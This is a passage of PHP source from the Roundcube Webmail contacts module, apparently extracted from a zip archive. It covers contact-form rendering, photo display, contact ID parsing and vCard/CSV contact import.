                            if (!$with_source || !($source = $rcmail->output->get_env('sourcename'))) {
                                continue;
                            }

                            if (!$edit_mode) {
                                $record['source'] = $rcmail->gettext('addressbook') . ': ' . $source;
                            }
                            else if ($rcmail->action == 'add') {
                                $record['source'] = $source;
                            }
                            else {
                                continue;
                            }
                        }
                        // skip cols unknown to the backend
                        else if (empty($coltypes[$col])) {
                            continue;
                        }

                        // skip cols not listed in the form definition
                        if (is_array($fieldset['content']) && !in_array($col, array_keys($fieldset['content']))) {
                            continue;
                        }

                        // only string values are expected here
                        if (isset($record[$col]) && is_array($record[$col])) {
                            $record[$col] = join(' ', $record[$col]);
                        }

                        if (!$edit_mode) {
                            if (!empty($record[$col])) {
                                $fields .= html::span('namefield ' . $col, rcube::Q($record[$col])) . ' ';
                            }
                        }
                        else {
                            $visible = true;
                            $colprop = [];

                            if (!empty($fieldset['content'][$col])) {
                                $colprop += (array) $fieldset['content'][$col];
                            }

                            if (!empty($coltypes[$col])) {
                                $colprop += (array) $coltypes[$col];
                            }

                            if (empty($colprop['id'])) {
                                $colprop['id'] = 'ff_' . $col;
                            }

                            if (empty($record[$col]) && empty($colprop['visible'])) {
                                $visible          = false;
                                $colprop['style'] = $use_labels ? null : 'display:none';
                                $select_add->add($colprop['label'], $col);
                            }

                            if ($col == 'source') {
                                $input = self::source_selector(['id' => $colprop['id']]);
                            }
                            else {
                                $val   = $record[$col] ?? null;
                                $input = rcube_output::get_edit_field($col, $val, $colprop);
                            }

                            if ($use_labels) {
                                $_content = html::label($colprop['id'], rcube::Q($colprop['label'])) . html::div(null, $input);
                                if (count($colnames) > 1) {
                                    $fields .= html::div(['class' => 'row', 'style' => $visible ? null : 'display:none'], $_content);
                                }
                                else {
                                    $fields .= $_content;
                                    $block_attr['style'] = $visible ? null : 'display:none';
                                }
                            }
                            else {
                                $fields .= $input;
                            }
                        }
                    }

                    if ($fields) {
                        $content .= html::div($block_attr, $fields);
                    }
                }

                if ($edit_mode) {
                    $content .= html::p('addfield', $select_add->show(null));
                }

                $legend = !empty($fieldset['name']) ? html::tag('legend', null, rcube::Q($fieldset['name'])) : '';
                $out   .= html::tag('fieldset', $attrib, $legend . $content, html::$common_attrib) ."\n";
                continue;
            }

            $content = '';
            if (is_array($fieldset['content'])) {
                foreach ($fieldset['content'] as $col => $colprop) {
                    // remove subtype part of col name
                    $tokens = explode(':', $col);
                    $field  = $tokens[0];

                    if (empty($tokens[1])) {
                        $subtype = $business_mode ? 'work' : 'home';
                    }
                    else {
                        $subtype = $tokens[1];
                    }

                    // skip cols unknown to the backend
                    if (empty($coltypes[$field]) && empty($colprop['value'])) {
                        continue;
                    }

                    // merge colprop with global coltype configuration
                    if (!empty($coltypes[$field])) {
                        $colprop += $coltypes[$field];
                    }

                    if (!isset($colprop['type'])) {
                        $colprop['type'] = 'text';
                    }

                    $label = $colprop['label'] ?? $rcmail->gettext($col);

                    // prepare subtype selector in edit mode
                    if ($edit_mode && isset($colprop['subtypes']) && is_array($colprop['subtypes'])) {
                        $subtype_names  = array_map('rcmail_action_contacts_index::get_type_label', $colprop['subtypes']);
                        $select_subtype = new html_select([
                                'name'  => "_subtype_{$col}[]",
                                'class' => 'contactselectsubtype custom-select',
                                'title' => $colprop['label'] . ' ' . $rcmail->gettext('type')
                        ]);
                        $select_subtype->add($subtype_names, $colprop['subtypes']);
                    }
                    else {
                        $select_subtype = null;
                    }

                    $rows = '';

                    list($values, $subtypes) = self::contact_field_values($record, "$field:$subtype", $colprop);

                    foreach ($values as $i => $val) {
                        if (!empty($subtypes[$i])) {
                            $subtype = $subtypes[$i];
                        }

                        $fc            = intval($coltypes[$field]['count'] ?? 0);
                        $colprop['id'] = 'ff_' . $col . $fc;
                        $row_class     = 'row';

                        // render composite field
                        if ($colprop['type'] == 'composite') {
                            $row_class .= ' composite';
                            $composite  = [];
                            $template   = $rcmail->config->get($col . '_template', '{'.join('} {', array_keys($colprop['childs'])).'}');
                            $j = 0;

                            foreach ($colprop['childs'] as $childcol => $cp) {
                                if (!empty($val) && is_array($val)) {
                                    if (!empty($val[$childcol])) {
                                        $childvalue = $val[$childcol];
                                    }
                                    else {
                                        $childvalue = $val[$j] ?? null;
                                    }
                                }
                                else {
                                    $childvalue = '';
                                }

                                if ($edit_mode) {
                                    if (!empty($colprop['subtypes']) || $colprop['limit'] != 1) {
                                        $cp['array'] = true;
                                    }

                                    $cp_type = $cp['type'] ?? null;
                                    $composite['{'.$childcol.'}'] = rcube_output::get_edit_field($childcol, $childvalue, $cp, $cp_type) . ' ';
                                }
                                else {
                                    if (!empty($cp['render_func'])) {
                                        $childval = call_user_func($cp['render_func'], $childvalue, $childcol);
                                    }
                                    else {
                                        $childval = rcube::Q($childvalue);
                                    }

                                    $composite['{' . $childcol . '}'] = html::span('data ' . $childcol, $childval) . ' ';
                                }

                                $j++;
                            }

                            $coltypes[$field] += (array) $colprop;

                            if (isset($coltypes[$field]['count'])) {
                                $coltypes[$field]['count']++;
                            }
                            else {
                                $coltypes[$field]['count'] = 1;
                            }

                            $val = preg_replace('/\{\w+\}/', '', strtr($template, $composite));

                            if ($compact) {
                                $val = html::div('content', str_replace('<br/>', '', $val));
                            }
                        }
                        else if ($edit_mode) {
                            // call callback to render/format value
                            if (!empty($colprop['render_func'])) {
                                $val = call_user_func($colprop['render_func'], $val, $col);
                            }

                            $coltypes[$field] = (array) $colprop + $coltypes[$field];

                            if (!empty($colprop['subtypes']) || $colprop['limit'] != 1) {
                                $colprop['array'] = true;
                            }

                            // load jquery UI datepicker for date fields
                            if (isset($colprop['type']) && $colprop['type'] == 'date') {
                                $colprop['class'] = (!empty($colprop['class']) ? $colprop['class'] . ' ' : '') . 'datepicker';
                                if (empty($colprop['render_func'])) {
                                    $val = self::format_date_col($val);
                                }
                            }

                            $val = rcube_output::get_edit_field($col, $val, $colprop, $colprop['type']);

                            if (empty($coltypes[$field]['count'])) {
                                $coltypes[$field]['count'] = 1;
                            }
                            else {
                                $coltypes[$field]['count']++;
                            }
                        }
                        else if (!empty($colprop['render_func'])) {
                            $val = call_user_func($colprop['render_func'], $val, $col);
                        }
                        else if (isset($colprop['options']) && isset($colprop['options'][$val])) {
                            $val = $colprop['options'][$val];
                        }
                        else {
                            $val = rcube::Q($val);
                        }

                        // use subtype as label
                        if (!empty($colprop['subtypes'])) {
                            $label = self::get_type_label($subtype);
                        }

                        $_del_btn = html::a([
                                'href'  => '#del',
                                'class' => 'contactfieldbutton deletebutton',
                                'title' => $rcmail->gettext('delete'),
                                'rel'   => $col
                            ],
                            $del_button
                        );

                        // add delete button/link
                        if (!$compact && $edit_mode
                            && (empty($colprop['visible']) || empty($colprop['limit']) || $colprop['limit'] > 1)
                        ) {
                            $val .= $_del_btn;
                        }

                        // display row with label
                        if ($label) {
                            if ($rcmail->action == 'print') {
                                $_label = rcube::Q($colprop['label'] . ($label != $colprop['label'] ? ' (' . $label . ')' : ''));
                                if (!$compact) {
                                    $_label = html::div('contactfieldlabel label', $_label);
                                }
                            }
                            else if ($select_subtype) {
                                $_label = $select_subtype->show($subtype);
                                if (!$compact) {
                                    $_label = html::div('contactfieldlabel label', $_label);
                                }
                            }
                            else {
                                $_label = html::label(['class' => 'contactfieldlabel label', 'for' => $colprop['id']], rcube::Q($label));
                            }

                            if (!$compact) {
                                $val = html::div('contactfieldcontent ' . $colprop['type'], $val);
                            }
                            else {
                                $val .= $_del_btn;
                            }

                            $rows .= html::div($row_class, $_label . $val);
                        }
                        // row without label
                        else {
                            $rows .= html::div($row_class, $compact ? $val : html::div('contactfield', $val));
                        }
                    }

                    // add option to the add-field menu
                    if (empty($colprop['limit']) || empty($coltypes[$field]['count']) || $coltypes[$field]['count'] < $colprop['limit']) {
                        $select_add->add($colprop['label'], $col);
                        $select_add_count++;
                    }

                    // wrap rows in fieldgroup container
                    if ($rows) {
                        $c_class    = 'contactfieldgroup '
                            . (!empty($colprop['subtypes']) ? 'contactfieldgroupmulti ' : '')
                            . 'contactcontroller' . $col;
                        $with_label = !empty($colprop['subtypes']) && $rcmail->action != 'print';
                        $content   .= html::tag(
                            'fieldset',
                            ['class' => $c_class],
                            ($with_label ? html::tag('legend', null, rcube::Q($colprop['label'])) : ' ') . $rows
                        );
                    }
                }

                if (!$content && (!$edit_mode || !$select_add_count)) {
                    continue;
                }

                // also render add-field selector
                if ($edit_mode) {
                    $content .= html::p('addfield', $select_add->show(null, ['style' => $select_add_count ? null : 'display:none']));
                }

                $content = html::div(['id' => 'contactsection' . $section], $content);
            }
            else {
                $content = $fieldset['content'];
            }

            if ($content) {
                $fattribs = !empty($attrib['fieldset-class']) ? ['class' => $attrib['fieldset-class']] : null;
                $fcontent = html::tag('legend', null, rcube::Q($fieldset['name'])) . $content;
                $out .= html::tag('fieldset', $fattribs, $fcontent) . "\n";
            }
        }

        if ($edit_mode) {
            $rcmail->output->set_env('coltypes', $coltypes + $coltype_labels);
            $rcmail->output->set_env('delbutton', $del_button);
            $rcmail->output->add_label('delete');
        }

        return $out;
    }

    public static function contact_field_values($record, $field_name, $colprop)
    {
        list($field, $subtype) = explode(':', $field_name);

        $subtypes = [];
        $values   = [];

        if (!empty($colprop['value'])) {
            $values = (array) $colprop['value'];
        }
        else if (!empty($colprop['subtypes'])) {
            // iterate over possible subtypes and collect values with their subtype
            $c_values = rcube_addressbook::get_col_values($field, $record);

            foreach ($colprop['subtypes'] as $st) {
                if (isset($c_values[$st])) {
                    foreach ((array) $c_values[$st] as $value) {
                        $i = count($values);
                        $subtypes[$i] = $st;
                        $values[$i]   = $value;
                    }

                    $c_values[$st] = null;
                }
            }

            // TODO: add $st to $select_subtype if missing ?
            foreach ($c_values as $st => $vals) {
                foreach ((array) $vals as $value) {
                    $i = count($values);
                    $subtypes[$i] = $st;
                    $values[$i]   = $value;
                }
            }
        }
        else if (isset($record[$field_name])) {
            $values = $record[$field_name];
        }
        else if (isset($record[$field])) {
            $values = $record[$field];
        }

        // hack: create empty values array to force this field to be displayed
        if (empty($values) && !empty($colprop['visible'])) {
            $values = [''];
        }

        if (!is_array($values)) {
            // $values can be an object, don't use (array)$values syntax
            $values = !empty($values) ? [$values] : [];
        }

        return [$values, $subtypes];
    }

    public static function contact_photo($attrib)
    {
        if ($result = self::$CONTACTS->get_result()) {
            $record = $result->first();
        }
        else {
            $record = ['photo' => null, '_type' => 'contact'];
        }

        $rcmail = rcmail::get_instance();

        if (!empty($record['_type']) && $record['_type'] == 'group' && !empty($attrib['placeholdergroup'])) {
            $photo_img = $rcmail->output->abs_url($attrib['placeholdergroup'], true);
            $photo_img = $rcmail->output->asset_url($photo_img);
        }
        elseif (!empty($attrib['placeholder'])) {
            $photo_img = $rcmail->output->abs_url($attrib['placeholder'], true);
            $photo_img = $rcmail->output->asset_url($photo_img);
        }
        else {
            $photo_img = 'data:image/gif;base64,' . rcmail_output::BLANK_GIF;
        }

        $rcmail->output->set_env('photo_placeholder', $photo_img);

        unset($attrib['placeholder']);

        $plugin = $rcmail->plugins->exec_hook('contact_photo', [
                'record' => $record,
                'data'   => $record['photo'] ?? null,
                'attrib' => $attrib
        ]);

        // check if we have photo data from contact form
        if (!empty(self::$contact)) {
            if (!empty(self::$contact['photo'])) {
                if (self::$contact['photo'] == '-del-') {
                    $record['photo'] = '';
                }
                else if (!empty($_SESSION['contacts']['files'][self::$contact['photo']])) {
                    $record['photo'] = $file_id = self::$contact['photo'];
                }
            }
        }

        $ff_value = '';

        if (!empty($plugin['url'])) {
            $photo_img = $plugin['url'];
        }
        else if (!empty($record['photo']) && preg_match('!^https?://!i', $record['photo'])) {
            $photo_img = $record['photo'];
        }
        else if (!empty($record['photo'])) {
            $url = ['_action' => 'photo', '_cid' => $record['ID'], '_source' => self::$SOURCE_ID];
            if (!empty($file_id)) {
                $url['_photo'] = $ff_value = $file_id;
            }
            $photo_img = $rcmail->url($url);
        }
        else {
            $ff_value = '-del-'; // will disable delete-photo action
        }

        $content = html::div($attrib, html::img([
                'src'     => $photo_img,
                'alt'     => $rcmail->gettext('contactphoto'),
                'onerror' => 'this.onerror = null; this.src = rcmail.env.photo_placeholder;',
        ]));

        if (!empty(self::$CONTACT_COLTYPES['photo']) && ($rcmail->action == 'edit' || $rcmail->action == 'add')) {
            $rcmail->output->add_gui_object('contactphoto', $attrib['id']);
            $hidden = new html_hiddenfield(['name' => '_photo', 'id' => 'ff_photo', 'value' => $ff_value]);
            $content .= $hidden->show();
        }

        return $content;
    }

    public static function format_date_col($val)
    {
        $rcmail = rcmail::get_instance();
        return $rcmail->format_date($val, $rcmail->config->get('date_format', 'Y-m-d'), false);
    }

    /**
     * Updates saved search after data changed
     */
    public static function search_update($return = false)
    {
        $rcmail = rcmail::get_instance();

        if (empty($_REQUEST['_search'])) {
            return false;
        }

        $search_request = $_REQUEST['_search'];

        if (!isset($_SESSION['contact_search'][$search_request])) {
            return false;
        }

        $search   = (array) $_SESSION['contact_search'][$search_request];
        $sort_col = $rcmail->config->get('addressbook_sort_col', 'name');
        $afields  = $return ? $rcmail->config->get('contactlist_fields') : ['name', 'email'];
        $records  = [];

        foreach ($search as $s => $set) {
            $source = $rcmail->get_address_book($s);

            // reset page
            $source->set_page(1);
            $source->set_pagesize(9999);
            $source->set_search_set($set);

            // get records
            $result = $source->list_records($afields);

            if (!$result->count) {
                unset($search[$s]);
                continue;
            }

            if ($return) {
                while ($row = $result->next()) {
                    $row['sourceid'] = $s;
                    $key = rcube_addressbook::compose_contact_key($row, $sort_col);
                    $records[$key] = $row;
                }
                unset($result);
            }

            $search[$s] = $source->get_search_set();
        }

        $_SESSION['contact_search'][$search_request] = $search;

        return $records;
    }

    /**
     * Returns contact ID(s) and source(s) from GET/POST data
     *
     * @param string $filter       Return contact identifier for this specific source
     * @param int    $request_type Type of the input var (rcube_utils::INPUT_*)
     *
     * @return array List of contact IDs per-source
     */
    public static function get_cids($filter = null, $request_type = rcube_utils::INPUT_GPC)
    {
        // contact ID (or comma-separated list of IDs) is provided in two
        // forms. If _source is an empty string then the ID is a string
        // containing contact ID and source name in form: <ID>-<SOURCE>

        $cid    = rcube_utils::get_input_value('_cid', $request_type);
        $source = rcube_utils::get_input_string('_source', rcube_utils::INPUT_GPC);

        if (is_array($cid)) {
            return $cid;
        }

        if (!is_string($cid) || !preg_match('/^[a-zA-Z0-9\+\/=_-]+(,[a-zA-Z0-9\+\/=_-]+)*$/', $cid)) {
            return [];
        }

        $cid        = explode(',', $cid);
        $got_source = strlen($source);
        $result     = [];

        // create per-source contact IDs array
        foreach ($cid as $id) {
            // extract source ID from contact ID (it's there in search mode)
            // see #1488959 and #1488862 for reference
            if (!$got_source) {
                if ($sep = strrpos($id, '-')) {
                    $contact_id = substr($id, 0, $sep);
                    $source_id  = (string) substr($id, $sep+1);
                    if (strlen($source_id)) {
                        $result[$source_id][] = $contact_id;
                    }
                }
            }
            else {
                if (substr($id, -($got_source+1)) === "-$source") {
                    $id = substr($id, 0, -($got_source+1));
                }
                $result[$source][] = $id;
            }
        }

        return $filter !== null ? $result[$filter] : $result;
    }

    /**
     * Returns HTML code for an addressbook selector
     *
     * @param array $attrib Template object attributes
     *
     * @return string HTML code of a <select> element, or <span> if there's only one writeable source
     */
    public static function source_selector($attrib)
    {
        $rcmail       = rcmail::get_instance();
        $sources_list = $rcmail->get_address_sources(true, true);

        if (count($sources_list) < 2) {
            $source      = $sources_list[self::$SOURCE_ID];
            $hiddenfield = new html_hiddenfield(['name' => '_source', 'value' => self::$SOURCE_ID]);

            return html::span($attrib, $source['name'] . $hiddenfield->show());
        }

        $attrib['name']       = '_source';
        $attrib['is_escaped'] = true;
        $attrib['onchange']   = rcmail_output::JS_OBJECT_NAME . ".command('save', 'reload', this.form)";

        $select = new html_select($attrib);

        foreach ($sources_list as $source) {
            $select->add($source['name'], $source['id']);
        }

        return $select->show(self::$SOURCE_ID);
    }
}
PK
h�\R�t^^"program/actions/contacts/photo.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Show contact photo                                                  |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_contacts_photo extends rcmail_action_contacts_index
{
    protected static $mode = self::MODE_HTTP;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail = rcmail::get_instance();

        // Get contact ID and source ID from request
        $cids    = self::get_cids();
        $source  = key($cids);
        $cid     = $cids ? array_first($cids[$source]) : null;
        $file_id = rcube_utils::get_input_string('_photo', rcube_utils::INPUT_GPC);

        // read the referenced file
        if ($file_id && !empty($_SESSION['contacts']['files'][$file_id])) {
            $tempfile = $_SESSION['contacts']['files'][$file_id];
            $tempfile = $rcmail->plugins->exec_hook('attachment_display', $tempfile);

            if (!empty($tempfile['status'])) {
                if (!empty($tempfile['data'])) {
                    $data = $tempfile['data'];
                }
                else if ($tempfile['path']) {
                    $data = file_get_contents($tempfile['path']);
                }
            }
        }
        else {
            // by email, search for contact first
            if ($email = rcube_utils::get_input_string('_email', rcube_utils::INPUT_GPC)) {
                foreach ($rcmail->get_address_sources() as $s) {
                    $abook = $rcmail->get_address_book($s['id']);
                    $result = $abook->search(['email'], $email, 1, true, true, 'photo');
                    while ($result && ($record = $result->iterate())) {
                        if (!empty($record['photo'])) {
                            break 2;
                        }
                    }
                }
            }

            // by contact id
            if (empty($record) && $cid) {
                // Initialize addressbook source
                $CONTACTS = self::contact_source($source, true);
                // read contact record
                $record = $CONTACTS->get_record($cid, true);
            }

            if (!empty($record['photo'])) {
                $data = is_array($record['photo']) ? $record['photo'][0] : $record['photo'];
                if (!preg_match('![^a-z0-9/=+-]!i', $data)) {
                    $data = base64_decode($data, true);
                }
            }
        }

        // let plugins do fancy things with contact photos
        $plugin = $rcmail->plugins->exec_hook('contact_photo', [
                'record' => $record ?? null,
                'email'  => $email ?? null,
                'data'   => $data ?? null,
        ]);

        // redirect to url provided by a plugin
        if (!empty($plugin['url'])) {
            $rcmail->output->redirect($plugin['url']);
        }

        $data = $plugin['data'];

        // detect if photo data is a URL
        if ($data && strlen($data) < 1024 && filter_var($data, FILTER_VALIDATE_URL)) {
            $rcmail->output->redirect($data);
        }

        // cache for one day if requested by email
        if (!$cid && !empty($email)) {
            $rcmail->output->future_expire_header(86400);
        }

        if ($data) {
            $rcmail->output->sendExit($data, ['Content-Type: ' . rcube_mime::image_content_type($data)]);
        }

        if (!empty($_GET['_error'])) {
            $rcmail->output->sendExit('', ['HTTP/1.0 204 Photo not found']);
        }

        $rcmail->output->sendExit(base64_decode(rcmail_output::BLANK_GIF), ['Content-Type: image/gif']);
    }
}
PK
h�\�����L�L#program/actions/contacts/import.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Import contacts from a vCard or CSV file                            |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <machniak@kolabsys.com>                   |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_contacts_import extends rcmail_action_contacts_index
{
    const UPLOAD_ERR_CSV_FIELDS = 101;

    protected static $stats;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail     = rcmail::get_instance();
        $importstep = 'import_form';
        $has_map    = isset($_POST['_map']) && is_array($_POST['_map']);

        if ($has_map || (isset($_FILES['_file']) && is_array($_FILES['_file']))) {
            $replace      = (bool) rcube_utils::get_input_string('_replace', rcube_utils::INPUT_GPC);
            $target       = rcube_utils::get_input_string('_target', rcube_utils::INPUT_GPC);
            $with_groups  = (int) rcube_utils::get_input_string('_groups', rcube_utils::INPUT_GPC);

            // reload params for CSV field mapping screen
            if ($has_map && !empty($_SESSION['contactcsvimport']['params'])) {
                $params = $_SESSION['contactcsvimport']['params'];

                $replace     = $params['replace'];
                $target      = $params['target'];
                $with_groups = $params['with_groups'];
            }

            $vcards       = [];
            $csvs         = [];
            $map          = [];
            $upload_error = null;

            $CONTACTS = $rcmail->get_address_book($target, true);

            if (!$CONTACTS->groups) {
                $with_groups = false;
            }

            if ($CONTACTS->readonly) {
                $rcmail->output->show_message('addresswriterror', 'error');
            }
            else {
                $filepaths = [];
                if ($has_map) {
                    $filepaths = $_SESSION['contactcsvimport']['files'];
                }
                else {
                    foreach ((array) $_FILES['_file']['tmp_name'] as $i => $filepath) {
                        // Process uploaded file if there is no error
                        $err = $_FILES['_file']['error'][$i];

                        if ($err) {
                            $upload_error = $err;
                        }
                        else {
                            $filepaths[] = $filepath;
                        }
                    }
                }

                foreach ($filepaths as $filepath) {
                    $file_content = file_get_contents($filepath);

                    // let rcube_vcard do the hard work :-)
                    $vcard_o = new rcube_vcard();
                    $vcard_o->extend_fieldmap($CONTACTS->vcard_map);
                    $v_list = $vcard_o->import($file_content);

                    if (!empty($v_list)) {
                        $vcards = array_merge($vcards, $v_list);
                        continue;
                    }

                    // no vCards found, try CSV
                    $csv = new rcube_csv2vcard($_SESSION['language']);

                    if ($has_map) {
                        $skip_head = isset($_POST['_skip_header']);
                        $map       = rcube_utils::get_input_value('_map', rcube_utils::INPUT_GPC);
                        $map       = array_filter($map);

                        $csv->set_map($map);
                        $csv->import($file_content, false, $skip_head);

                        unlink($filepath);
                    }
                    else {
                        // save uploaded file for the real import in the next step
                        $temp_csv = rcube_utils::temp_filename('csvimpt');
                        if (move_uploaded_file($filepath, $temp_csv) && file_exists($temp_csv)) {
                            $fields   = $csv->get_fields();
                            $last_map = $map;
                            $map = $csv->import($file_content, true);

                            // when multiple CSV files are uploaded check they all have the same structure
                            if ($last_map && $last_map !== $map) {
                                $csvs = [];
                                $upload_error = self::UPLOAD_ERR_CSV_FIELDS;
                                break;
                            }

                            $csvs[] = $temp_csv;
                        }
                        else {
                            $upload_error = UPLOAD_ERR_CANT_WRITE;
                        }

                        continue;
                    }

                    $v_list = $csv->export();

                    if (!empty($v_list)) {
                        $vcards = array_merge($vcards, $v_list);
                    }
                }
            }

            if (count($csvs) > 0) {
                // csv import, show field mapping options
                $importstep = 'import_map';

                $_SESSION['contactcsvimport']['files']  = $csvs;
                $_SESSION['contactcsvimport']['params'] = [
                    'replace'     => $replace,
                    'target'      => $target,
                    'with_groups' => $with_groups,
                    'fields'      => !empty($fields) ? $fields : [],
                ];

                // Stored separately due to nested array limitations in session
                $_SESSION['contactcsvimport']['map'] = $map;

                // Re-enable the import button
                $rcmail->output->command('parent.import_state_set', 'error');
            }
            elseif (count($vcards) > 0) {
                // import vcards
                self::$stats = new stdClass;
                self::$stats->names         = [];
                self::$stats->skipped_names = [];
                self::$stats->count         = count($vcards);
                self::$stats->inserted = 0;
                self::$stats->skipped  = 0;
                self::$stats->invalid  = 0;
                self::$stats->errors   = 0;

                if ($replace) {
                    $CONTACTS->delete_all($CONTACTS->groups && $with_groups < 2);
                }

                if ($with_groups) {
                    $import_groups = $CONTACTS->list_groups();
                }

                foreach ($vcards as $vcard) {
                    $a_record = $vcard->get_assoc();

                    // Generate contact's display name (must be before validation), the same we do in save.inc
                    if (empty($a_record['name'])) {
                        $a_record['name'] = rcube_addressbook::compose_display_name($a_record, true);
                        // Reset it if equals to email address (from compose_display_name())
                        if ($a_record['name'] == ($a_record['email'][0] ?? null)) {
                            $a_record['name'] = '';
                        }
                    }

                    // skip invalid (incomplete) entries
                    if (!$CONTACTS->validate($a_record, true)) {
                        self::$stats->invalid++;
                        continue;
                    }

                    // We're using UTF8 internally
                    $email = null;
                    if (isset($vcard->email[0])) {
                        $email = $vcard->email[0];
                        $email = rcube_utils::idn_to_utf8($email);
                    }

                    if (!$replace) {
                        $existing = null;
                        // compare e-mail address
                        if ($email) {
                            $existing = $CONTACTS->search('email', $email, 1, false);
                        }
                        // compare display name if email not found
                        if ((!$existing || !$existing->count) && $vcard->displayname) {
                            $existing = $CONTACTS->search('name', $vcard->displayname, 1, false);
                        }
                        if ($existing && $existing->count) {
                            self::$stats->skipped++;
                            self::$stats->skipped_names[] = $vcard->displayname ?: $email;
                            continue;
                        }
                    }

                    $a_record['vcard'] = $vcard->export();

                    $plugin   = $rcmail->plugins->exec_hook('contact_create', ['record' => $a_record, 'source' => null]);
                    $a_record = $plugin['record'];

                    // insert record and send response
                    if (empty($plugin['abort'])) {
                        $success = $CONTACTS->insert($a_record);
                    }
                    else {
                        $success = $plugin['result'];
                    }

                    if ($success) {
                        // assign groups for this contact (if enabled)
                        if ($with_groups && !empty($a_record['groups'])) {
                            foreach (explode(',', $a_record['groups'][0]) as $group_name) {
                                if ($group_id = self::import_group_id($group_name, $CONTACTS, $with_groups == 1, $import_groups)) {
                                    $CONTACTS->add_to_group($group_id, $success);
                                }
                            }
                        }

                        self::$stats->inserted++;
                        self::$stats->names[] = $a_record['name'] ?: $email;
                    }
                    else {
                        self::$stats->errors++;
                    }
                }

                $importstep = 'import_confirm';
                $_SESSION['contactcsvimport'] = null;

                $rcmail->output->command('parent.import_state_set', self::$stats->inserted ? 'reload' : 'ok');
            }
            else {
                if ($upload_error == self::UPLOAD_ERR_CSV_FIELDS) {
                    $rcmail->output->show_message('csvfilemismatch', 'error');
                }
                else {
                    self::upload_error($upload_error);
                }

                $rcmail->output->command('parent.import_state_set', 'error');
            }
        }

        $rcmail->output->set_pagetitle($rcmail->gettext('importcontacts'));

        $rcmail->output->add_handlers([
                'importstep' => [$this, $importstep],
        ]);

        // render page
        if ($rcmail->output->template_exists('contactimport')) {
            $rcmail->output->send('contactimport');
        }
        else {
            $rcmail->output->send('importcontacts'); // deprecated
        }
    }

    /**
     * Handler function to display the import/upload form
     */
    public static function import_form($attrib)
    {
        $rcmail = rcmail::get_instance();
        $target = rcube_utils::get_input_string('_target', rcube_utils::INPUT_GPC);

        $attrib += ['id' => 'rcmImportForm'];

        $writable_books = $rcmail->get_address_sources(true, true);
        $max_filesize   = self::upload_init();

        $form   = '';
        $hint   = $rcmail->gettext(['id' => 'importfile', 'name' => 'maxuploadsize', 'vars' => ['size' => $max_filesize]]);
        $table  = new html_table(['cols' => 2]);
        $upload = new html_inputfield([
                'type'     => 'file',
                'name'     => '_file[]',
                'id'       => 'rcmimportfile',
                'size'     => 40,
                'multiple' => 'multiple',
                'class'    => 'form-control-file',
        ]);

        $table->add('title', html::label('rcmimportfile', $rcmail->gettext('importfromfile')));
        $table->add(null, $upload->show() . html::div('hint', $hint));

        // addressbook selector
        if (count($writable_books) > 1) {
            $select = new html_select([
                    'name'       => '_target',
                    'id'         => 'rcmimporttarget',
                    'is_escaped' => true,
                    'class'      => 'custom-select'
            ]);

            foreach ($writable_books as $book) {
                $select->add($book['name'], $book['id']);
            }

            $table->add('title', html::label('rcmimporttarget', $rcmail->gettext('importtarget')));
            $table->add(null, $select->show($target));
        }
        else {
            $abook = new html_hiddenfield(['name' => '_target', 'value' => key($writable_books)]);
            $form .= $abook->show();
        }

        $form .= html::tag('input', ['type' => 'hidden', 'name' => '_unlock', 'value' => '']);

        // selector for group import options
        if (count($writable_books) >= 1 || $writable_books[0]->groups) {
            $select = new html_select([
                    'name'       => '_groups',
                    'id'         => 'rcmimportgroups',
                    'is_escaped' => true,
                    'class'      => 'custom-select'
            ]);
            $select->add($rcmail->gettext('none'), '0');
            $select->add($rcmail->gettext('importgroupsall'), '1');
            $select->add($rcmail->gettext('importgroupsexisting'), '2');

            $table->add('title', html::label('rcmimportgroups', $rcmail->gettext('importgroups')));
            $table->add(null, $select->show(rcube_utils::get_input_value('_groups', rcube_utils::INPUT_GPC)));
        }

        // checkbox to replace the entire address book
        $check_replace = new html_checkbox(['name' => '_replace', 'value' => 1, 'id' => 'rcmimportreplace']);
        $table->add('title', html::label('rcmimportreplace', $rcmail->gettext('importreplace')));
        $table->add(null, $check_replace->show(rcube_utils::get_input_string('_replace', rcube_utils::INPUT_GPC)));

        $form .= $table->show(['id' => null] + $attrib);

        // remove any info left over info from previous import attempts
        $_SESSION['contactcsvimport'] = null;

        $rcmail->output->set_env('writable_source', !empty($writable_books));
        $rcmail->output->add_label('selectimportfile','importwait');
        $rcmail->output->add_gui_object('importform', $attrib['id']);

        $attrib = [
            'action'  => $rcmail->url('import'),
            'method'  => 'post',
            'enctype' => 'multipart/form-data'
        ] + $attrib;

        return html::p(null, rcube::Q($rcmail->gettext('importdesc'), 'show'))
            . $rcmail->output->form_tag($attrib, $form);
    }

    /**
     * Render the field mapping page for the CSV import process
     */
    public static function import_map($attrib)
    {
        $rcmail = rcmail::get_instance();
        $params = $_SESSION['contactcsvimport']['params'];

        // hide groups field from list when group import disabled
        if (empty($params['with_groups'])) {
            unset($params['fields']['groups']);
        }

        $fieldlist = new html_select(['name' => '_map[]']);
        $fieldlist->add($rcmail->gettext('fieldnotmapped'), '');
        foreach ($params['fields'] as $id => $name) {
            $fieldlist->add($name, $id);
        }

        $field_table = new html_table(['cols' => 2] + $attrib);

        if ($classes = $attrib['table-header-class']) {
            $field_table->set_header_attribs($classes);
        }

        $field_table->add_header($attrib['table-col-source-class'] ?: null, $rcmail->gettext('source'));
